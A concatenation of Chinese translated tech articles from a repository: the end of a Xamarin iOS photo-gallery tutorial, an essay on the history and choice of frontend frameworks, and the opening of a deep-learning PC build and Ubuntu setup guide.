告诉集合视图可以显示 7 个内容。 接下来,你会增加一个对集合视图对 `ViewController` 类的引用,它是控制场景的视图控制器,包括集合视图。切换回 _`Main.storyboard`_,选择集合视图,之后选择 —_`Widget`_ 标签。把 _`collectionView`_ 输入到 _`Name`_。 [![Set Collection View Name](https://cdn4.raywenderlich.com/wp-content/uploads/2016/06/Set_CollectionView_Name-480x160.png)](https://cdn1.raywenderlich.com/wp-content/uploads/2016/06/Set_CollectionView_Name.png) `Visual Studio` 将自动创建一个实例变量,使用这个名称在 `ViewController` 类上。 _注意_: 你不会在 _`ViewController.cs`_ 内看到这个实例变量。为了看见这个实例变量,点击在 _`ViewController.cs`_ 左边的扩展标识符,去显示 _`ViewController.designer.cs`_。这个包含了由 `Visual Studio` 自动创建的 `collctionView` 的实例变量。 从 _`Solution Explorer`_ 中打开 _`ViewController.cs`_,并且增加以下内容: ``` private PhotoCollectionDataSource photoDataSource; ``` 在 `ViewDidLoad()` 的末尾,增加这几行,去初始化数据源,并且将它和集合视图链接起来。 ``` photoDataSource = new PhotoCollectionDataSource(); collectionView.DataSource = photoDataSource; ``` 这样一来,`photoDataSource` 将为集合视图提供数据。 构建和运行。你能看到有 7 个蓝色方块的集合视图。 ![App Running with collection view](https://cdn3.raywenderlich.com/wp-content/uploads/2016/05/cells-no-photo-app-272x500.png) 太棒了 - 这个应用程序真的就快要完成了! ![Blue Squares!](https://cdn5.raywenderlich.com/wp-content/uploads/2016/06/Blue_Squares-230x320.png) ## 展示图片 当然蓝色的方块很 `cool`,你接下来会更新数据源,从设备上获取真实的照片,并且将他们显示在集合视图上。你将使用 `Photos` 框架去访问那些通过 `Photos` 应用程序管理的照片和视频资源。 首先,你要为集合视图的单元格增加可以显示照片的视图。再次打开 _`Main.storyboard`_ 并选择集合视图。在 _`Widget`_ 标签上,下滑并且修改 _`Background color`_ 成默认值。 [![Set_Default_Cell_Background_Color](https://cdn3.raywenderlich.com/wp-content/uploads/2016/06/Set_Default_Cell_Background_Color-480x247.png)](https://cdn3.raywenderlich.com/wp-content/uploads/2016/06/Set_Default_Cell_Background_Color.png) 打开 _`Toolbox`_,搜索 _`Image View`_,之后拖一个 _`Image View`_ 在 _`集合视图单元格`_ 的上面。 [![Drag Image View](https://cdn4.raywenderlich.com/wp-content/uploads/2016/06/Drag_Image_View-650x400.png)](https://cdn4.raywenderlich.com/wp-content/uploads/2016/06/Drag_Image_View.png) `Image View` 开始的时候肯定比单元格大;为了重新制定它的大小,选择这个 `Image View` 并且到 _`Properties \ Layout`_ 标签。在 _`View`_ 部分,把 _`X`_ 和 _`Y`_ 设定为 `0`,并且把 _`Width`_ 和 _`Height`_ 设置为 `100`。 [![Set Image View Size](https://cdn5.raywenderlich.com/wp-content/uploads/2016/06/Set_Image_View_Size-480x296.png)](https://cdn1.raywenderlich.com/wp-content/uploads/2016/06/Set_Image_View_Size.png) 切换到 `Image View` 的 _`Widget`_ 标签,并且把 _`Name`_ 设置为 _`cellImageView`_。`Visual Studio` 将会为你自动创建一个命名好的 `cellImageView`。 [![Set Image View Name](https://cdn3.raywenderlich.com/wp-content/uploads/2016/06/Set_Image_View_Name-480x152.png)](https://cdn2.raywenderlich.com/wp-content/uploads/2016/06/Set_Image_View_Name.png) 滑动到 _`View`_ 部分并且把 _`Mode`_ 改变到 _`Aspect Fill`_。这个保证图片能被拉伸。 [![Set Image View Mode](https://cdn5.raywenderlich.com/wp-content/uploads/2016/06/Set_Image_View_Mode-480x147.png)](https://cdn4.raywenderlich.com/wp-content/uploads/2016/06/Set_Image_View_Mode.png) _注意_: 如果你打开 _`PhotoCollectionImageCell.cs`_,你无法看见新的字段。相反,这个类被声明为 `partial`,它意味着这个字段在另外一个文件里。 在 _Solution Explorer_,选择 `PhotoCollectionImageCell.cs` 左边的箭头去扩展文件。打开 `PhotoCollectionImageCell.desinger.cs` 就能看见 `celImageView` 在这里被声明。 [![](https://cdn1.raywenderlich.com/wp-content/uploads/2016/06/Expand_PhotoCollectionImageCell-480x248.png)](https://cdn3.raywenderlich.com/wp-content/uploads/2016/06/Expand_PhotoCollectionImageCell.png) 这个文件被自动生成; **不要改变** 这个文件。如果你改变了,他们必须没有任何警告语句或者断开类类和 `storyboard` 之间的链接,它们可能就被覆盖了,造成了运行时的错误。 由于这一字段不是公有的,其他类无法访问它。相反,你需要为设定图片提供一个公有函数。 打开 `PhotoCollectionImageCell.cs` 并且为这个类增加以下几个方法: ``` public void SetImage(UIImage image) { cellImageView.Image = image; } ``` 现在你将更新 `PhotoCollectionDataSource` 去获取真实的照片。 将以下内容增加到 _`PhotoCollectionDataSource.cs`_ 的上部: ``` using Photos; ``` 增加以下内容到 `PhotoCollectionDataSource`: ``` private PHFetchResult imageFetchResult; private PHImageManager imageManager; ``` `imageFetchResult` 字段会保留有序的保存照片库的对象,并且你能从 `imageManager` 中获得这些照片列表。 在 `GetCell()` 中增加以下构造器: ``` public PhotoCollectionDataSource() { imageFetchResult = PHAsset.FetchAssets(PHAssetMediaType.Image, null); imageManager = new PHImageManager(); } ``` 这个构造器获取在 `Photo` 应用程序中所有照片资源的列表并且把结果保存在 `imageFetchResult` 字段。它之后设置 `imageManager`,之后应用程序会通过它查询更多有关每一个照片的详细信息。 当这个类完成了任务后,通过增加析构函数来销毁 `imageManager`。 ``` ~PhotoCollectionDataSource() { imageManager.Dispose(); } ``` 为了让 `GetItemsCount` 和 `GetCell` 方法使用这些资源,并且返回图片,而非空的单元格,将 `GetItemsCOunt()` 改成以下内容: ``` public override nint GetItemsCount(UICollectionView collectionView, nint section) { return imageFetchResult.Count; } ``` 之后,替换 `GetCell` 为以下内容: ``` public override UICollectionViewCell GetCell(UICollectionView collectionView, NSIndexPath indexPath) { var imageCell = collectionView.DequeueReusableCell(photoCellIdentifier, indexPath) as PhotoCollectionImageCell; // 1 var imageAsset = imageFetchResult[indexPath.Item] as PHAsset; // 2 imageManager.RequestImageForAsset(imageAsset, new CoreGraphics.CGSize(100.0, 100.0), PHImageContentMode.AspectFill, new PHImageRequestOptions(), // 3 (UIImage image, NSDictionary info) => { // 4 imageCell.SetImage(image); }); return imageCell; } ``` 我们对改变分解为以下几步: 1. `indexPath` 包括了一个引用,它会返回哪一个集合视图。`Item` 属性是一个简单的索引。你通过这个索引获得了一个资源并且把它转换为 `PHAsset`。 2. 你可以使用 `imageManager` 为一个资源去请求符合尺寸和填充模式的图片。 3. 许多 `iOS` 框架使用延迟执行的方法,因为需要消耗时间去完成请求,例如,`RequestImageForAsset`,并且当完成的时候通过代理模式来通知。当请求完成的时候,代理方法会被调用,它包含了图片和相关的信息。 4. 最后,图片会被设置在单元格上。 构建并且运行。你会看到请求访问许可的提示。 [![](https://cdn2.raywenderlich.com/wp-content/uploads/2016/06/Permission_Prompt-333x500.png)](https://cdn3.raywenderlich.com/wp-content/uploads/2016/06/Permission_Prompt.png) 如果你选择了 _`OK`_,然而,这个应用程序......不会做任何事请。_所以_ 这令人沮丧! ![Why_no_work](https://cdn3.raywenderlich.com/wp-content/uploads/2016/06/Why_no_work-248x320.png) `iOS` 考虑到访问用户的照片库是非常隐私的事情,并且提示用户去给予许可权限。然而,应用程序必须注册到这个通知,当用户授权了应用程序可以使用,所以它能重新加载视图。你会在接下来看到怎么做。 ## 为访问权限的改变注册通知消息 首先,你将对 `PhotoCollectionDataSource` 类增加一个方法,来通知它去重新检索照片。在类的末尾增加这些内容: ``` public void ReloadPhotos() { imageFetchResult = PHAsset.FetchAssets(PHAssetMediaType.Image, null); } ``` 之后,打开 _`ViewController.cs`_ z且增加以下框架 ``` using Photos; ``` 之后,增加这段代码到 `ViewDidLoad()`: ``` // 1 PHPhotoLibrary.SharedPhotoLibrary.RegisterChangeObserver((changeObserver) => { //2 InvokeOnMainThread(() => { // 3 photoDataSource.ReloadPhotos(); collectionView.ReloadData(); }); }); ``` 以上代码干了什么: 1. 这个应用程序在共享的照片库上注册了一个代理,每当照片库有变更的时候被调用。 2. `InvokeOnMainThread()` 确保了 `UI` 变化始终在主线程上执行; 否则会发生程序崩溃。 3. 你调用 `photoDataSource.ReloadPhotos()` 去重新加载照片,并且 `collectionView.ReloadData()`,告诉集合视图重新绘制。 最后,你会处理初始状态的情况,这个应用程序还没有被给予对照片的访问权限,并且请求权限。 在 `ViewDidLoad()`,在 `photoDataSource` 设置中增加这些代码: ``` if (PHPhotoLibrary.AuthorizationStatus == PHAuthorizationStatus.NotDetermined) { PHPhotoLibrary.RequestAuthorization((PHAuthorizationStatus newStatus) => { }); } ``` 这个检查了目前认证的状态,并且若它是 `NotDetermined (不确定的)`,明确的发送请求去获取访问照片库的许可。 为了再次触发照片库的访问权限,通过 _`模拟器 \ 重置设定和内容`_ 来重置 `iPhone 模拟器`。 构建和运行应用程序。你将被提醒为照片库的许可,并且当你在应用程序中按下 _`Ok`_,应用程序会显示为有所有照片的缩略图的集合视图。 ![Final Project Running](https://cdn5.raywenderlich.com/wp-content/uploads/2016/05/photo-collection-app-272x500.png) ## 之后我们应该怎么办? 你们可以通过 [这里](https://cdn1.raywenderlich.com/wp-content/uploads/2016/07/ImageLocation.zip) 下载完整的 `Visual Studio` 工程。 在这篇指南中,你可以学习一些有关 `Xamarin` 是如何工作和使用来创建 `iOS` 应用程序的。 [`Xamarin` 指南网站](https://developer.xamarin.com/guides/) 提供了很多非常好的资源用于学习更多有关 `Xamarin` 平台的内容。为了更好的理解怎么构建跨平台的应用程序,查看 `Xamarin` 有关构建为 [`iOS`](https://www.xamarin.com/getting-started/ios) 和 [`Android`](https://www.xamarin.com/getting-started/android) 构建相同应用程序的指南。 `微软` 购买了 `Xamarin` 引入了很多令人激动的改变。`微软` 构建会议上的公告和 [`Xamarin` 发展会议](https://blog.xamarin.com/xamarin-evolve-2016-recap/) 上的指导能给你有关 `Xamarin` 新的发展方向。`Xamarin` 也提供了来自于最新发展例会上的 [视频](https://evolve.xamarin.com/#sessions),它提供了更多有关将 `Xamarin` 使用在产品上的未来方向。 你会考虑尝试用 `Xamarin` 来构建应用程序么?如果你有任何有关这个指导指南的问题或者建议,请在下方留言。 ================================================ FILE: TODO/building-modern-web-applications-in-2017.md ================================================ > * 原文地址:[Choosing a frontend framework in 2017](https://medium.com/this-dot-labs/building-modern-web-applications-in-2017-791d2ef2e341) > * 原文作者:[Taras Mankovski](https://medium.com/@tarasm) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/building-modern-web-applications-in-2017.md](https://github.com/xitu/gold-miner/blob/master/TODO/building-modern-web-applications-in-2017.md) > * 译者:[LeviDing](https://github.com/leviding) > * 校对者:[sunui](https://github.com/sunui), [warcryDoggie](https://github.com/warcryDoggie) # 2017 年了,这么多前端框架,你会怎样选择? ![](https://cdn-images-1.medium.com/max/800/1*T551HACMn9A95dnwpPK-eQ.png) 图片来源: [Ember.js: 解决你框架疲劳的良药](http://brewhouse.io/blog/2015/05/13/emberjs-an-antidote-to-your-hype-fatigue.html) 过去七年来,前端框架生态系统发展蓬勃。我们已经学了很多关于构建和维护大型应用的知识。我们看到了很多新想法的出现。其中一些新想法改变了我们构建 Web 应用的方式,而其他想法被废弃,因为它们起不到什么作用。 在这个过程中,我们看到很多炒作和冲突的观点,选择一个框架变得困难重重。当您为长期维护一个应用的组织挑选框架时,更是难上加难。 在本文中,我想描述我们对如何构建现代 Web 应用的理解的演变,并提出一种如何在多种技术中进行选择的方法。 在开始前,我想先回顾一下,回到第一个使构建网络应用更像编程的库。 Backbone.js 于 2010 年 10 月发布,2013 年 3 月达到 1.0 版本。它是第一个广泛使用的采用模型与视图之间相分离的 JavaScript 库。 ![](https://cdn-images-1.medium.com/max/800/1*vqOV_K_r66lUwdFeABCWEQ@2x.png) 图片来源:Angular Model 和 View 之间的关系 —— [http://backbonejs.org](http://backbonejs.org) Backbone.js 的 Model 表示数据和业务逻辑。它们触发视图层的变化。当改变事件触发的时候,显示模型数据的视图负责将该更改应用于 DOM。Backbone 并不知道您首选 HTML 模板的方法,需要开发者自行编写 render 函数解决如何更新 View 到 DOM。 在 Backbone 1.0 诞生的时候,Angular.js 被发布并开始普及。它不像 Backbone 那样侧重于模型,而是侧重于使视图做的更好。 Angular.js 采用了编译模型以使 HTML 动态化的想法。它允许使用指令将行为注入到 HTML 元素中。您可以将模型与视图进行绑定,并且当模板改变的时候,视图会自动更新。 Angular.js 的流行度迅速增长,因为你很容易将 Angular.js 添加到任何项目中,并且上手简单。许多开发人员被 Angular.js 所吸引,因为它是由 Google 开发的,这赋予 Angular.js 天生的可靠度。 大约在同一时间,Web 组件规范承诺使开发人员可以创建与其上下文分离的,并且易于与其他组件进行组合的可重用组件。 [Web Components 规范](https://www.w3.org/standards/history/components-intro)是由四个独立的规范组合而成的。 - HTML 模板 — 为组件提供 HTML 标记 - 自定义元素 — 提供了一种创建自定义 HTML 元素的机制 - Shadow DOM — 将组件的内部与渲染它的上下文隔进行离 - HTML 导入 — 使将 Web 组件加载到页面中成为可能 Google 的一个团队创建了一个补丁库,为当时所有浏览器提供 Web Components 支持。这个库被称为 Polymer,并于 2013 年 11 月开源。 Polymer 是第一个使通过组合组件构建交互式应用成为可能的库。早期使用者受益于可组合性,但发现性能问题还是需要用框架来解决。 同时,一小群开发人员受到 Ruby on Rails 思想的启发,希望创建一个基于约定的社区驱动的开源框架来构建大型 Web 应用。 他们开始基于 SproutCore 2.0 进行开发。SproutCore 2.0 是一个基于 MVC 的框架,在模型、控制器和视图之间有明显的分隔。这个新框架叫做 Ember.js。 创建基于约定的框架的第一个挑战是找到大型 Web 应用的通用模式。 Ember.js 团队查看了大型 Backbone 应用,以找到相似之处。 他们发现应用的某些部分是一致的,而其他部分会有些改动。在这种地方就需要嵌套视图。 他们还将 URL 视为 Web 应用架构中的关键角色。他们结合了嵌套视图的想法和 URL 的重要性,创建一个路由系统,作为入口点进入应用并控制初始视图呈现。 ![](https://cdn-images-1.medium.com/max/800/1*rx9bWvoWTaEJSY8qAuuh4A.png) Ember.js 的元素 —— 原文 [Ember JS 深入介绍](https://www.smashingmagazine.com/2013/11/an-in-depth-introduction-to-ember-js/) Ember 社区在 Ember.js 核心团队的领导下,于 2013 年 8 月发布了 Ember.js 1.0。它具有 MVC 架构,强大的路由系统和可编译模板的组件。像 Angular.js 和 Polymer 一样,Ember.js 主要依靠双向绑定来保持视图与状态同步。 在 2014 年的年中,一个新的库开始引起开发者的注意。Facebook 为他们的平台创建了一个框架,并以 “React” 的命名发布。 在其他的框架都依赖于对象突变和属性绑定的时候,React 引入了将诸如纯函数和组件参数之类的组件作为函数参数来处理的想法。 ![](https://cdn-images-1.medium.com/max/800/1*sUeInQGMBhFVqW-rHj1JZg.png) 组件是返回 DOM 的函数 —— 原文 [https://facebook.github.io/react/docs/components-and-props.html#functional-and-class-components](https://facebook.github.io/react/docs/components-and-props.html#functional-and-class-components) 当一个参数的值改变时,组件的 `render` 函数被调用并返回一个新的组件树。 React 将返回的组件树与虚拟 DOM 树进行比较,以确定如何更新真实的DOM。这种重新渲染所有内容并将结果与虚拟 DOM 进行比较的技术经实践证明是非常有效的。 ![](https://cdn-images-1.medium.com/max/800/1*cV-klTo3DKl0Uo2Znk3V6g.png) 原文: [React.js Reconciliation](https://www.infoq.com/presentations/react-reconciliation) Angular.js 开发人员面临着 Angular.js 变更检测机制引发的性能问题。Ember 社区正在学习如何解决维护依赖于双向绑定和观察者模式的大型应用的挑战。 React 主攻的是 Polymer 所未能解决的问题。React 显示了如何提高组件架构的性能。 React 在基准测试中打败了 Ember 和 Angular.js。一些较有尝试新技术精神的 Backbone 开发人员将 React 作为视图添加到其应用中,以解决他们遇到的性能问题。 为了应对 React 的威胁,Ember 核心团队制定了一项计划,将 React 提出的想法纳入 Ember 框架。他们认识到需要提升向后兼容性,并创建了一个版本升级的途径,允许现有应用升级到包含新 的 React-inspired 渲染引擎的 Ember 版本。 在 4 个次要版本的更新过程中,Ember.js 已弃用 Views,将社区迁移到基于 CLI 的构建过程,并将基于组件的架构作为 Ember 应用开发的基础。逐渐对框架进行重要的重构的过程被称为“稳定无停滞”,成为 Ember 社区的基本宗旨。 当 Ember 正在向 React 学习时,React 社区正在采用由 Ember 推广的路由。 大型 React 应用是使用 [React Router](https://github.com/ReactTraining/react-router) 编写的,该路由器是从用于 Ember 路由的 [router.js](https://github.com/tildeio/router.js/) 分支发展而来的。 Ember 对我们构建现代 Web 应用最大的贡献之一是他们在使用命令行工具作为构建和部署 Web 应用的默认界面上的领导力和普及。此工具称为 EmberCLI。它启发了 React 的 [create-react-app](https://github.com/facebookincubator/create-react-app) 和 [AngularCLI](https://github.com/angular/angular-cli)。现在的每个 Web 框架都提供了一个命令行工具来简化 Web 应用的开发。 在 2015 年上半年,Angular.js 的核心团队得出结论,他们的框架正在进入一个进化的死胡同。Google 需要一个开发人员可以用来构建强大的应用的工具,而 Angular.js 不能成为这个工具。他们开始研究一个新的框架,这将是 Angular.js 的精神继承者。 Angular.js 是在谷歌不是很支持的情况下流行起来的,而这个新框架则与 Angular.js 不同,得到了 Google 的全力支持。Google 分出了超过 30 多位开发人员,来开发这个被称为 Angular.js 精神继承者的框架。 新框架的范围远远大于 Angular.js。Angular 团队将新框架称为平台,因为他们计划提供专业开发人员构建 Web 应用所需的一切。像 Ember 和 React 一样,Angular 使用基于组件的架构,但它是使 TypeScript 成为其默认编程语言的第一个框架。 ![](https://cdn-images-1.medium.com/max/800/1*c4T4WMmvhkQ4yc24dfzgMA.png) 具有 TypeScript 的 Angular 组件 —— [https://github.com/johnpapa/angular-tour-of-heroes/blob/master/src/app/heroes.component.ts](https://github.com/johnpapa/angular-tour-of-heroes/blob/master/src/app/heroes.component.ts) TypeScript 提供类、模块和接口。它支持可选的静态类型检查,它对 Java 和 C# 的开发人员来说是一个非常棒的语言。具有 Visual Studio Code 编辑器对 TypeScript 代码提供了很棒的智能支持功能。 ![](https://cdn-images-1.medium.com/max/800/1*m6CUCh3LRpJNHV2axqtkAQ.png) 对 Angular Apps 的智能支持 —— 原文:[http://rafaelaudy.github.io/simple-angular-2-app/](http://rafaelaudy.github.io/simple-angular-2-app/) Angular 是高度结构化和以公共标准为基础的,然而仍然存在配置机制的问题。它有一个强大的路由器。Angular 团队正在努力为 Google 开发人员从专业开发环境的角度提供一个全新的框架。对完整性的关注对整个 Angular 社区都非常有好处。 在 2017 年 5 月,Polymer 2.0 改进了绑定系统,减少了对 `heavy polyfills` 的依赖,并与最新的 JavaScript 标准保持一致。新版本引入了一些突破性变化,并为用户升级到新版本提供了详细的计划。新的 Polymer 配备了一个命令行工具来帮助构建和部署 Polymer 项目。 截至 2017 年 6 月,所有顶级框架都将组件架构作为开发范例。每个框架都提供路由作为将应用分解为逻辑块的一种手段。所有框架都可以使用像 Redux 这样的状态管理技术。React、Ember 和 Angular 都允许服务器端渲染 SEO 和快速初始启动。 那么你怎么知道用什么工具来构建一个现代的 Web 应用呢?我建议你看看各个组织的人口统计数据,以确定哪个框架最适合。 React 是一个类似于一大张拼图中的一块的库。React 提供一个轻量级的视图层,并将其留给开发人员选择其余的架构。盒子里没有任何东西,所以你的团队可以完全控制你使用的一切。如果你有一个经验丰富的 JavaScript 开发人员团队,他们对于功能编程和不可变数据结构都很满意,那么 React 是一个不错的选择 React 社区在使用 Web 技术方面处于创新的前沿。如果你的组织需要使用相同的代码库来跨平台,那么你应该知道 React 允许你使用 React Native 编写本地的 Web,使用 ReactVR 编写 VR 设备。 Angular 是一个非常适合有 Java 或 C# 背景的企业开发人员的平台。TypeScript 和 Intellisense 的支持将使这些开发人员感觉到非常熟悉。虽然 Angular 是新的,但它已经有很多第三方组件库了,公司可以立即购买并立即开始使用。Angular 团队承诺要快速迭代框架,使之更好,且不会再次破坏向后兼容性。Angular 可用于使用 NativeScript 构建高性能原生应用。 Ember.js 是一个优化小团队和技能水平较高的独立开发者的生产力框架。其对配置上的约定,为新开发人员和组织长期维护大型项目提供了极好的起点。承诺的“稳定无停滞”已被证明是维护大型应用的有效方法,而不需要在最佳实践改变时进行重写。稳定性、成熟度和致力于创造共享代码,促生了一个生态系统,这个生态系统使得大多数开发的简易程度让人惊讶。如果您正在寻找一个长期项目的可靠框架,Ember 是一个很好的选择。 Polymer 是一个对于希望创建单一样式指南,和要在整个组织中使用的组件集合的大型组织而言特别适合的框架。该框架提供可比较的开发工具。如果你想将一些现代化的功能应用在你的程序上,而不需要编写大量 JavaScript,那么 Polymer 是你们很不错的选择。 我们正在了解如何为浏览器构建应用,并汇集好的想法。 所有框架的制作者都非常关心使用他们的库的人。 问题是哪个社区和生态系统是你的组织和用例的最佳选择。 我希望这篇文章有助于揭示现代网络生态系统的发展,并帮助您构建下一代现代 Web 应用。 在评论区留下你的看法吧。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/building-our-personal-deep-learning-rig-gtx-1080-ubuntu-16-04-cuda-8-0rc-cudnn-7-tensorflowmxnetcaffedarknet.md ================================================ > * 原文地址:[Build Personal Deep Learning Rig: GTX 1080 + Ubuntu 16.04 + CUDA 8.0RC + CuDnn 7 + Tensorflow/Mxnet/Caffe/Darknet](http://guanghan.info/blog/en/my-works/building-our-personal-deep-learning-rig-gtx-1080-ubuntu-16-04-cuda-8-0rc-cudnn-7-tensorflowmxnetcaffedarknet/) > * 原文作者:[Guanghan Ning](http://guanghan.info/blog/en/author/admin/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/building-our-personal-deep-learning-rig-gtx-1080-ubuntu-16-04-cuda-8-0rc-cudnn-7-tensorflowmxnetcaffedarknet.md](https://github.com/xitu/gold-miner/blob/master/TODO/building-our-personal-deep-learning-rig-gtx-1080-ubuntu-16-04-cuda-8-0rc-cudnn-7-tensorflowmxnetcaffedarknet.md) > * 译者:[RichardLeeH](https://github.com/RichardLeeH) > * 校对者:[TobiasLee](https://github.com/TobiasLee),[fghpdf](https://github.com/fghpdf) # 搭建个人深度学习平台:GTX 1080 + Ubuntu 16.04 + CUDA 8.0RC + CuDNN 7 + Tensorflow/Mxnet/Caffe/Darknet 我在 TCL 的实习即将结束。在回校参加毕业典礼之前,我决定搭建自己的个人深度学习平台。我想我不能真的依赖于公司或实验室的机器,毕竟那工作站不是我的,而且开发环境可能是一团糟(它已经发生过一次)。有了个人平台,我可以方便地通过 teamViewer 随时登录我的深度学习工作站。我有机会从头开始搭建平台。 在本文中,我将介绍 PC 平台搭建深度学习的整个过程,包括硬件和软件。在此,我分享给大家,希望对具有相同需求的研究人员和工程师有所帮助。由于我使用 **GTX 1080、Ubuntu 16.04、CUDA 8.0RC、CuDNN 7** 搭建平台,这些都是最新版本。以下是这篇文章的概述: **硬件** 1. 配件选择 2. 搭建工作站 **软件** 3. 操作系统安装 - 准备可引导安装的 USB 驱动器 - 安装系统 4. 深度学习环境安装 - 远程控制:teamViewer - 开发包管理:Anaconda - 开发环境:python IDE - GPU 优化环境:CUDA 和 CuDNN - 深度学习框架:Tensorflow & Mxnet & Caffe & Darknet 5. 开箱即用的深度学习环境:Docker - 安装 Docker - 安装 NVIDIA-Docker - 下载深度学习 Docker 镜像 - 主机和容器之间共享数据 - 了解简单的 Docker 命令 ## 硬件: ### 配件选择 我推荐使用 **PcPartPicker** 来挑选配件。它可以帮助你以最低价购买到配件,并为你检查所选配件的兼容性。他们还上线了一个 **youtube 频道**,在这个频道里他们提供了用于展示构建过程的视频。 在我的搭建案例中,我使用他们的搭建文章作为参考,并创建了一个搭建清单,可以在 [这里](https://pcpartpicker.com/user/quietning/saved/#view=YP6v6h) 找到。以下是我搭建工作站使用的配件。 ![](http://guanghan.info/blog/en/wp-content/uploads/2016/07/IMG_20160707_191958-Copy.jpg) 由于我们正在进行深度学习研究,一个好的 GPU 是非常有必要的。因此,我选择了新近发布的 GTX 1080。它虽然很难买到,但如果你注意到 newegg (新蛋网,美国新蛋网是电子数码产品销售网站) 上的捆绑销售,一些人已经囤到货并组合 [GPU + 主板] 或 [GPU + 电源] 进行捆绑销售。你懂得,这就是市场。购买捆绑产品会比买一个价格高的要好。不管怎样,一个好的 GPU 将加快训练或者后期调参过程。以下是一些 GTX 1080 同其他品牌 GPU 的优势,在性能,价格和耗电量(节约日常用电量和用于购买合适 PC 电源的开支)。 ![](http://guanghan.info/blog/en/wp-content/uploads/2016/07/gtx_1.png) ![](http://guanghan.info/blog/en/wp-content/uploads/2016/07/gtx_2.png) 注意:相比于 12GB 内存的 TITAN X,GTX 1080 仅有 8GB,你可能手头宽裕或更慷慨,因此会选择使用堆叠式 GPU。然后记得选择一个带有更多 PCI 的主板。 ### 配件组装 平台搭建从配件组装开始,我参考了 [这段视频(youtube 网站,需要翻墙)](https://www.youtube.com/watch?v=bHF2eEnXP6I) 教程。虽然各个部分略有不同,但搭建过程非常相似。我没有一点组装经验,但是有了这个教程,我就能在 3 小时内完成组装。(你可能花费更少的时间,但你知道,我非常谨慎) ![](http://guanghan.info/blog/en/wp-content/uploads/2016/07/IMG_20160708_020941-Copy.jpg) ## 软件: ### 操作系统安装 通常采用 Ubuntu 进行深度学习研究。但是有时你需要使用另一操作系统协同工作。例如,如果你使用 GTX 1080,同时又是一位 VR 开发者,你可能需要使用 Win10 进行基于 Unity 或其他框架的 VR 开发。以下我将介绍 Win10 和 Ubuntu 的安装。如果你仅对 Ubuntu 的安装感兴趣,你可以跳过 windows 安装。 #### 准备可引导安装的 USB 驱动器 使用 USB 盘安装操作系统非常方便,因为我们少不了它。由于 USB 盘将被格式化,所以您不希望在移动硬盘上发生这种情况。或者如果你有可写的 DVD,你可以用它们来安装操作系统,并保存它们以备将来使用,如果你能在那时再找到它们的话。 由于在官方网站上已经很好的说明了,你可以访问 [Windows 10 页面](https://www.microsoft.com/en-us/software-download/windows10/) 学习如何制作 USB 驱动。对于 Ubuntu,你可以同样下载 ISO 并构建 USB 安装媒体或者刻录到 DVD 上。如果你正在使用 Ubuntu 系统,参考 Ubuntu 官方网站的 [教程](http://www.ubuntu.com/download/desktop/create-a-usb-stick-on-ubuntu)。 如果你在使用 Windows,参考 [本教程](http://www.ubuntu.com/download/desktop/create-a-usb-stick-on-windows)。 #### 系统安装 强烈建议安装 Windows 为主系统的双系统。我将会跳过 Win10 的安装,因为详细的安装指南可以从 [Windows 10 主页](https://www.microsoft.com/en-us/software-download/windows10/) 找到。需要注意的一点是,你需要使用激活码。如果在你的笔记本电脑上安装了 Windows 7 或 我 Windows 10,你可以在你的笔记本电脑底部找到激活码的标签。 安装 Ubuntu16.04 时遇到点小麻烦,这有些出乎意料。这主要是因为一开始我就没有安装 GTX 1080 驱动。我将把这些分享给大家,以防你遇到同样的问题。 #### 安装 Ubuntu: 首先,插入用于安装系统的引导 USB。在我的 LG 显示屏上并没有出现任何东西,除了显示频率太高。但是显示屏是正常的,因为在另一台笔记本上测试过了。我试着将 PC 连接到 电视上,可以在电视上正常显示,但仅有桌面没有工具面板。我发现这是 NVIDIA 驱动的问题。因此我打开 BIOS,并设置集成显卡作为默认显卡并重启。记得要把 HDMI 从 GTX1080 端口上的接口切换到主板上。现在这个显示器工作得很好。我按照提示指南成功地安装了 Ubuntu。 ![](http://guanghan.info/blog/en/wp-content/uploads/2016/07/installing_ubuntu.png) 为了使用 GTX1080,请访问 [本页面](http://www.nvidia.com/download/driverResults.aspx/104284/en-us) 获取 基于 Ubuntu 的 NVIDIA 显卡驱动。安装好驱动后,确保 GTX1080 在主板上。 现在屏幕上显示 “You appear to be running an X server..”。 我参考了 [本链接](http://askubuntu.com/questions/149206/how-to-install-nvidia-ru) 来解决这个问题并安装驱动。我在这里引用下: - 确保登出系统。 - 同时按住 CTRL+ALT+F1 并用你的授权进行登录。 - 通过运行 sudo service lightdm stop 或 sudo stop lightdm 杀死当前的 X 服务会话。 - 通过运行 sudo init 3 进入到第三等级 并安装 *.run 文件。 - 当安装结束,你需要重启系统。如果没有重启,运行 sudo service lightdm start 或 sudo start lightdm 重新启动 X 服务。 驱动器安装完后,我们需要重启并在 BIOS 中 将 GTX1080 设置为默认。此时,我们已经准备好了。 我遇到的其他一些小问题,以备将来使用: - 问题: 当我重启时,我不能找到选项来选择 windows。 - 解决方案: 在 ubuntu 下,**sudo gedit /boot/grub/grub.cfg**, 增加如下行: ``` menuentry ‘Windows 10′{ set root=’hd0,msdos1′ chainloader +1 } ``` - 问题: Ubuntu 不支持 百思买经常出售的这款 Belkin N300 无线适配器, - 解决方案: 参考 [本链接](https://ubuntuforums.org/showthread.php?t=1515747) 的指南, 问题将会被解决。 - 问题: 安装好 teamViewer 后,提示 “dependencies not met” - 解决方案: 参考 [本链接](http://askubuntu.com/questions/362951/installed-teamviewer-using-a-64-bits-system-but-i-get-a-dependency-error/363083)。 ### 深度学习环境 #### 远程控制软件安装 (TeamViewer): dpkg -i teamviewer_11.0.xxxxx_i386.deb #### 包管理工具安装 (Anaconda): Anaconda 是一个易于安装的免费包管理、环境管理和 Python 分发工具包。其中收集了多达 720 个 